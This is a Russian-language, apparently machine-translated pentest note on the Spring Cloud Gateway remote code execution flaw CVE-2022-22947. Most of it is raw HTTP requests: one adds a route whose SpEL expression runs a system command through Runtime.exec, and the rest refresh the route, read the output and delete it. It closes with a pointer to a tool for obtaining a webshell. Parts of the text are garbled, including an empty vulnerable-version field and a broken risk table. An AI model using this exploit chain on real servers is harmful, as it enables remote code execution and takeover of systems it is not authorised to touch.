Непрерывные обновления: систематизируйте уязвимости, обнаруженные в ходе тестирования на проникновение (включая описание уязвимостей, уровень уязвимости, проверку уязвимостей и предложения по устранению). Мы не будем углубляться в различные методы постэксплуатации или обхода уязвимостей. Процесс проверки уязвимостей не ограничивается. статьи Способ в котором может доказать наличие уязвимости.
- Уязвимость Spring Cloud Gateway, связанная с удаленным выполнением кода (CVE-2022-22947) -
Spring Cloud Gateway — это шлюз, созданный на основе Spring Framework и Spring Boot. Он призван предоставить простой, эффективный и унифицированный метод управления маршрутизацией API для микросервисной архитектуры. Когда небезопасные конечные точки Gateway Actuator включены или открыты, приложения, использующие Spring Cloud Gateway, уязвимы для атак путем внедрения кода, что позволяет удаленному злоумышленнику выполнить произвольный вредоносный код на целевом сервере, отправив вредоносный запрос на выполнение системных разрешений SpEL.
Уязвимая версия:
Уровень угрозы | высокий риск | средний риск | низкий риск |
---|
использовать dirsearch Подождите, пока инструмент сканирования каталогов обнаружит и просканирует целевой веб-сайт и обнаружит наличие /actuator/gateway/routes
путь.
Сначала добавьте тестовый маршрут, который выполняет вредоносное выражение SpEL для идентификатора системной команды и отправляет следующий пакет:
POST /actuator/gateway/routes/test HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
Затем применение нового добавленного маршрута запустит выполнение выражения SpEL и отправит следующий пакет:
POST /actuator/gateway/refresh HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
После этого получите доступ к тестовому адресу маршрутизации, просмотрите результаты выполнения команды и отправьте следующий пакет данных:
GET /actuator/gateway/routes/test HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Наконец, удалите добавленный тестовый маршрут и отправьте следующий пакет:
DELETE /actuator/gateway/routes/test HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0
Доступный SpringBootExploit Инструмент, введите целевой адрес для определения среды, используйте SpringCloudGateway Используйте цепочку для получения разрешений целевого сервера.
После успешного использования уязвимости просто получите доступ к адресу веб-шелла в соответствии с содержимым приглашения и выполните проверку системной команды.